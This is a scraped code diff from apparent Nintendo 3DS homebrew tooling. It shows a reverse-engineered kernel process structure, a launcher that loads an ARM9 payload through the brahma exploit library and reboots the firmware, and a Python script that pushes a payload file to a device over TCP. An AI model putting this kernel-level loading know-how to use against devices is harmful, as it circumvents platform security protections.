// New 3DS Version 8.0.0 - 9.5.0...
|
||||||
|
class KProcess_8_0_0_New : public KSynchronizationObject
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
u32 m_unknown014; // +014
|
||||||
|
u32 m_unknown018; // +018
|
||||||
|
KThread *volatile m_interactingThread; // +01C
|
||||||
|
u16 m_unknown020; // +020
|
||||||
|
u16 m_unknown022; // +022
|
||||||
|
u32 m_unknown024; // +024
|
||||||
|
u32 m_unknown028; // +028
|
||||||
|
u32 m_unknown02C; // +02C new to New 3DS
|
||||||
|
u32 m_unknown030; // +030 new to New 3DS
|
||||||
|
u32 m_memoryBlockCount; // +034
|
||||||
|
KLinkedListNode *m_memoryBlockFirst; // +038
|
||||||
|
KLinkedListNode *m_memoryBlockLast; // +03C
|
||||||
|
u32 m_unknown040; // +040
|
||||||
|
u32 m_unknown044; // +044
|
||||||
|
void *m_translationTableBase; // +048
|
||||||
|
u8 m_contextID; // +04C
|
||||||
|
u32 m_unknown050; // +050
|
||||||
|
void *m_userVirtualMemoryEnd; // +054
|
||||||
|
void *m_userLinearVirtualBase; // +058
|
||||||
|
u32 m_unknown05C; // +05C
|
||||||
|
u32 m_mmuTableSize; // +060
|
||||||
|
void *m_mmuTableAddress; // +064
|
||||||
|
u32 m_threadContextPagesSize; // +068
|
||||||
|
u32 m_threadLocalPageCount; // +06C
|
||||||
|
KLinkedListNode *m_threadLocalPageFirst; // +070
|
||||||
|
KLinkedListNode *m_threadLocalPageLast; // +074
|
||||||
|
u32 m_unknown078; // +078
|
||||||
|
s32 m_idealProcessor; // +07C
|
||||||
|
u32 m_unknown080; // +080
|
||||||
|
void *m_resourceLimits; // +084
|
||||||
|
u32 m_unknown088; // +088
|
||||||
|
u32 m_threadCount; // +08C
|
||||||
|
u8 m_svcAccessControl[0x80 / 8]; // +090
|
||||||
|
u32 m_interruptFlags[0x80 / 32]; // +0A0
|
||||||
|
u32 m_kernelFlags; // +0B0
|
||||||
|
u16 m_handleTableSize; // +0B4
|
||||||
|
u16 m_kernelReleaseVersion; // +0B6
|
||||||
|
KCodeSet *m_codeSet; // +0B8
|
||||||
|
u32 m_processID; // +0BC
|
||||||
|
u32 m_unknown0C0; // +0C0
|
||||||
|
u32 m_unknown0C4; // +0C4
|
||||||
|
KThread *m_mainThread; // +0C8
|
||||||
|
//...more...
|
||||||
|
};
|
||||||
|
static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090,
|
||||||
|
"KProcess_8_0_0_New isn't the expected layout.");
|
||||||
|
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
// Done using illegal offsetof
|
||||||
|
#pragma GCC diagnostic pop
|
||||||
|
}
|
@ -1,45 +1,30 @@
|
|||||||
#include <3ds.h>
|
#include <3ds.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
#include "brahma.h"
|
#include "brahma.h"
|
||||||
#include "hid.h"
|
#include "hid.h"
|
||||||
|
|
||||||
s32 main (void) {
|
#ifndef LAUNCHER_PATH
|
||||||
// Initialize services
|
#define LAUNCHER_PATH "Cakes.dat"
|
||||||
srvInit();
|
#endif
|
||||||
aptInit();
|
|
||||||
hidInit(NULL);
|
|
||||||
gfxInitDefault();
|
|
||||||
fsInit();
|
|
||||||
sdmcInit();
|
|
||||||
hbInit();
|
|
||||||
qtmInit();
|
|
||||||
|
|
||||||
gfxSwapBuffers();
|
|
||||||
|
|
||||||
u32 payload_size = 0x10000;
|
|
||||||
void *payload = malloc(payload_size);
|
|
||||||
|
|
||||||
FILE *fp = fopen("/reiNand.dat", "r");
|
|
||||||
if (!fp) goto exit;
|
|
||||||
fseek(fp, 0x12000, SEEK_SET);
|
|
||||||
fread(payload, payload_size, 1, fp);
|
|
||||||
fclose(fp);
|
|
||||||
|
|
||||||
|
int main (void) {
|
||||||
if (brahma_init()) {
|
if (brahma_init()) {
|
||||||
load_arm9_payload_from_mem(payload, payload_size);
|
if (load_arm9_payload_offset("/" LAUNCHER_PATH, 0x12000, 0x10000) != 1)
|
||||||
|
goto error;
|
||||||
firm_reboot();
|
firm_reboot();
|
||||||
brahma_exit();
|
brahma_exit();
|
||||||
}
|
}
|
||||||
|
|
||||||
exit:
|
// Return to hbmenu
|
||||||
if (payload) free(payload);
|
|
||||||
|
|
||||||
hbExit();
|
|
||||||
sdmcExit();
|
|
||||||
fsExit();
|
|
||||||
gfxExit();
|
|
||||||
hidExit();
|
|
||||||
aptExit();
|
|
||||||
srvExit();
|
|
||||||
return 0;
|
return 0;
|
||||||
|
|
||||||
|
error:
|
||||||
|
gfxInitDefault();
|
||||||
|
consoleInit(GFX_BOTTOM, NULL);
|
||||||
|
printf("An error occurred while loading the payload.\nMake sure your launcher is located at:\n/" LAUNCHER_PATH);
|
||||||
|
wait_any_key();
|
||||||
|
|
||||||
|
gfxExit();
|
||||||
|
return 1;
|
||||||
}
|
}
|
||||||
|
@ -17,6 +17,13 @@ CleanEntireDataCache:
|
|||||||
mcr p15, 0, r0, c7, c10, 0
|
mcr p15, 0, r0, c7, c10, 0
|
||||||
bx lr
|
bx lr
|
||||||
|
|
||||||
|
.global dsb
|
||||||
|
.type dsb, %function
|
||||||
|
dsb:
|
||||||
|
mov r0, #0
|
||||||
|
mcr p15, 0, r0, c7, c10, 4
|
||||||
|
bx lr
|
||||||
|
|
||||||
.global DisableInterrupts
|
.global DisableInterrupts
|
||||||
.type DisableInterrupts, %function
|
.type DisableInterrupts, %function
|
||||||
DisableInterrupts:
|
DisableInterrupts:
|
||||||
@ -29,9 +36,3 @@ DisableInterrupts:
|
|||||||
EnableInterrupts:
|
EnableInterrupts:
|
||||||
msr cpsr_cx, r0
|
msr cpsr_cx, r0
|
||||||
bx lr
|
bx lr
|
||||||
|
|
||||||
.global svcCorruptedCreateThread
|
|
||||||
.type svcCorruptedCreateThread, %function
|
|
||||||
svcCorruptedCreateThread:
|
|
||||||
svc 0x08
|
|
||||||
bx lr
|
|
||||||
|
22
ninjhax/tools/client.py
Normal file
22
ninjhax/tools/client.py
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
|
||||||
|
if len(sys.argv) < 3:
|
||||||
|
print "python client.py <ip> <file>\n"
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
port = 80
|
||||||
|
host = sys.argv[1]
|
||||||
|
pfile = sys.argv[2]
|
||||||
|
|
||||||
|
f = open(pfile, "rb")
|
||||||
|
buf = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
s = socket.socket()
|
||||||
|
s.connect((host, port))
|
||||||
|
sent = s.send(buf)
|
||||||
|
print "Sent %d bytes\n" % sent
|
||||||
|
s.close()
|
Reference in New Issue
Block a user